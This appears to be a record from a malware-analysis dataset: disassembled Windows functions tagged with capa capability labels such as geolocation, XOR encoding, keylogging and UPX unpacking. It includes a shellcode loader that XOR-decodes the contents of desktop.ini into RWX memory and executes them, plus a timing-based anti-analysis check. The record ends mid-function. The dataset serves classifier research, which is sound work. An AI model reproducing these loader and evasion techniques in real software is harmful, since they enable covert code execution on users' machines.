joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10075203
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x100a1080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.10069b2f
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10069b2f
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x1007527a
cmp word [ecx], dx
je 0x1007527a
mov eax, dword [0x1008534c]
push edi
dec eax
push eax
push 0x10085238
call fcn.100751a2
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x100752ed
cmp word [eax], dx
je 0x100752ed
mov eax, dword [edi]
test eax, eax
je 0x1007529e
cmp word [eax], dx
je 0x1007529e
lea eax, [ebp - 0x10]
push eax
call fcn.10074b85
jmp 0x100752a7
lea eax, [ebp - 0x10]
push eax
call fcn.10074c20
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x10075317
mov eax, dword [0x10085234]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10084f28
call fcn.100751a2
add esp, 0xc
test al, al
je 0x10075317
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x100752e2
cmp word [eax], di
je 0x100752e2
lea eax, [ebp - 0x10]
push eax
call fcn.10074b85
pop ecx
jmp 0x10075319
lea eax, [ebp - 0x10]
push eax
call fcn.10074c20
jmp 0x100752df
mov eax, dword [edi]
test eax, eax
je 0x10075304
cmp word [eax], dx
je 0x10075304
lea eax, [ebp - 0x10]
push eax
call fcn.10074b3a
pop ecx
jmp 0x10075317
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x100753e2
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10075027
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x100753e2
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x100753e2
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x100753e2
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1007536f
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.1006e13f
test ebx, ebx
je 0x100753dd
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.1006e13f
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100753e2
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100753e2
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1006fca2
add esp, 0x10
xor eax, eax
inc eax
jmp 0x100753e4
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10053ef0
leave
ret
Function at 0x10078de1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.10078d5d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x10078f50
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x10078f50
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x10078f05
jg 0x10078e3d
test eax, eax
je 0x10078efb
push 1
push 0x1000
call fcn.1006da54
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x10078e60
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x10078ef2
push 0x8000
push ebx
call fcn.10078c8e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x10078e89
jg 0x10078e84
cmp ecx, 0x1000
jb 0x10078e89
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.1006c0da
add esp, 0x10
cmp eax, 0xffffffff
je 0x10078ece
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x10078e84
jl 0x10078eb5
test ecx, ecx
jne 0x10078e76
push dword [ebp - 0xc]
push ebx
call fcn.10078c8e
push esi
call fcn.1006c2f6
add esp, 0xc
xor ebx, ebx
jmp 0x10078f5e
cmp byte [edi + 0x24], 0
je 0x10078ee5
cmp dword [edi + 0x20], 5
jne 0x10078ee5
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x10078ef0
mov ebx, dword [edi + 0x18]
jmp 0x10078ef2
xor ebx, ebx
push esi
call fcn.1006c2f6
pop ecx
jmp 0x10078f5e
test ecx, ecx
jg 0x10078ec7
jl 0x10078f05
test eax, eax
jae 0x10078ec7
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1006f086
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10078f25
cmp byte [edi + 0x1c], 0
je 0x10078ec7
jmp 0x10078f56
push ebx
call fcn.1007312e
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x10078ec7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x10078f5e
cmp byte [edi + 0x1c], 0
je 0x10078f5b
mov ebx, dword [edi + 0x18]
jmp 0x10078f5e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.1006f086
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1007a5c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1007a5ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1007a5ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x405e99
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x405ebd
xor eax, eax
test eax, eax
je 0x405ecf
cmp byte [ebp + eax - 0x121], 0x5c
je 0x405ecf
xor ecx, ecx
jmp 0x405ed2
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x409010]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
leave
ret 4

Function at 0x405f72
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x448634], 0
push esi
jne 0x405fa9
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f83
mov dword [ecx*4 + 0x448630], eax
inc ecx
cmp ecx, 0x100
jl 0x405f7e
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405fda
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x448630]
xor eax, esi
inc ecx
dec edx
jne 0x405fbc
pop edi
not eax
pop esi
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x105daa10
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x105dabfd
pushal
mov esi, section.UPX1
lea edi, [esi - 0x35c000]
push edi
or ebp, 0xffffffff
jmp 0x105daa3a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x105daa41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x105daa30
mov eax, 1
add ebx, ebx
jne 0x105daa53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x105daa64
jne 0x105daa83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x105daa83
dec eax
add ebx, ebx
jne 0x105daa70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x105daa48
add ebx, ebx
jne 0x105daa7f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x105daad5
xor ecx, ecx
sub eax, 3
jb 0x105daa9b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x105dab0a
sar eax, 1
mov ebp, eax
jmp 0x105daaa6
add ebx, ebx
jne 0x105daaa6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x105daa74
inc ecx
add ebx, ebx
jne 0x105daab4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x105daa74
add ebx, ebx
jne 0x105daac1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x105daab6
jne 0x105daad2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x105daab6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x105daaf4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x105daae6
jmp 0x105daa36
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x105daaf4
add edi, ecx
jmp 0x105daa36
pop esi
mov edi, esi
mov ecx, 0x6b9d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x105dab12
cmp byte [edi], 0x22
jne 0x105dab12
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x105dab17
lea edi, [esi + 0x5cf000]
mov eax, dword [edi]
or eax, eax
je 0x105dab8f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5e738c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5e74bc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x105dab44
mov ecx, edi
jns 0x105dab73
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5e74c0]
or eax, eax
je 0x105dab89
mov dword [ebx], eax
add ebx, 4
jmp 0x105dab61
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x105dabc0
cmp al, 0xef
ja 0x105dabb3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x105dab95
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x105daba2
mov ebp, dword [esi + 0x5e74c4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x105dabf4
sub esp, 0xffffff80
jmp 0x100fc252
Function at 0x402ff0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x462020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403088
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403068
xor eax, eax
push ebp
push 0x403061
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4030a4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403068
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x462020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x462020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403d54
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x46404c], 0
je 0x403db5
cmp word [0x464220], 0xd7b2
jne 0x403d7d
cmp dword [0x464228], 0
jbe 0x403d7d
mov eax, 0x46421c
call dword [0x464238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x46206c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403ddc
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x462030], 0
jne 0x403dd1
push 0
push 0x462064
push 0x46206c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405cf8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405d5e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404140
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402ba8
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405d48
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405d65
lea eax, [ebp - 0x10]
call fcn.00403ed0
ret

Function at 0x40ae90
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40aec9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403fc0
jmp 0x40aed2
mov eax, ebx
mov edx, esi
call fcn.00403f24
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40aedc
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40aefd
mov al, byte [esp]
jmp 0x40aeff
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b584
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40b3fc
mov eax, dword [0x463900]
cmp byte [eax], 0
je 0x40b600
mov eax, dword [0x463658]
call fcn.00402a14
call fcn.004028ac
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004086d0
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b648
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b636
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4635ec]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x464668]
call fcn.004051f0
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40bef0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40bfc6
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403f68
lea eax, [ebp - 8]
call fcn.004043e0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404390
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40bfb0
mov eax, ebx
call fcn.00402744
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40bfa9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404390
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40bf93
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40bfd8
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40bf93
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bfb0
mov eax, dword [ebp - 0x10]
call fcn.00402764
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bfcd
lea eax, [ebp - 8]
call fcn.00403ed0
ret

Function at 0x40c544
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40c5a8
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404140
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.004081f8
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c5af
lea eax, [ebp - 0xc]
call fcn.00403ed0
ret

Function at 0x41dde0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x464888
cmp dword [edi], 0
jne 0x41de5c
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x464884]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4623fc
mov ecx, 2
call fcn.00402940
mov edx, 0x41ddb8
lea eax, [esi + 5]
call fcn.0041ddd8
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041ddd8
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41de31
mov dword [0x464884], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41f398
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41f39e
ret
Function at 0x42cce4
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x42cc30
call sub.user32.dll_EnumWindows
ret

Function at 0x42ce04
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x42ce81
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0042c864
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x42ce29
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.0042c464
cmp dword [ebp - 4], 0
je 0x42ce6b
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.00404390
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42ce88
lea eax, [ebp - 4]
call fcn.00403ed0
ret

Function at 0x42fb84
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x464b58], 0
je 0x42fcd3
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x46387c]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x42fcd3
mov eax, dword [0x464b5c]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x464b58]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x42fca2
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x464b58]
call fcn.00417374
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x42fc9a
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x42fc9a
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x42fc9a
mov eax, dword [ebp - 0x14]
call fcn.0043874c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x42fc9a
push ebp
call fcn.0042fb40
pop ecx
test al, al
jne 0x42fc9a
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x42fc56
mov eax, dword [ebp - 0x14]
call fcn.00437244
dec eax
jle 0x42fc9a
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.0040337c
cmp byte [ebp - 1], 0
je 0x42fc9a
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x42fc9a
mov edx, dword [ebp - 0x14]
mov eax, dword [0x464b5c]
call fcn.0042f30c
inc edi
dec ebx
jne 0x42fbe9
mov eax, dword [0x464b5c]
cmp dword [eax + 8], 0
jle 0x42fcba
mov eax, dword [0x464b5c]
call fcn.0042f39c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x42fcd3
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0042f9a8
pop ecx
test al, al
jne 0x42fcd3
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x433298
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x4332e4
mov eax, esi
call fcn.004489cc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4332e4
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x4332e4
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x433423
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x433324
cmp eax, 0x108
ja 0x433324
mov eax, esi
call fcn.004489cc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x43341a
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x433423
jmp 0x43341a
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x433403
cmp eax, 0x20a
ja 0x433403
test byte [esi + 0x50], 0x80
jne 0x433356
sub eax, 0x203
je 0x433353
sub eax, 3
je 0x433353
sub eax, 3
jne 0x433356
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x43336a
dec eax
je 0x43337f
dec eax
je 0x43339c
dec eax
je 0x43337f
jmp 0x4333a3
mov ecx, ebx
mov eax, dword [0x46387c]
mov eax, dword [eax]
mov edx, esi
call fcn.00452178
jmp 0x43341a
cmp byte [esi + 0x5d], 1
jne 0x433395
mov eax, esi
mov si, 0xffed
call fcn.0040337c
jmp 0x433423
or word [esi + 0x54], 1
jmp 0x43341a
and word [esi + 0x54], 0xfffe
jmp 0x43341a
mov eax, dword [0x464b14]
cmp byte [eax + 0x20], 0
je 0x43341a
mov eax, dword [0x464b14]
cmp dword [eax + 0x1c], 0
je 0x43341a
mov eax, dword [ebx]
mov edx, dword [0x464b14]
cmp eax, dword [edx + 0x1c]
jne 0x43341a
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.00448910
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.0040337c
jmp 0x433423
cmp eax, 0xb00b
jne 0x43341a
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
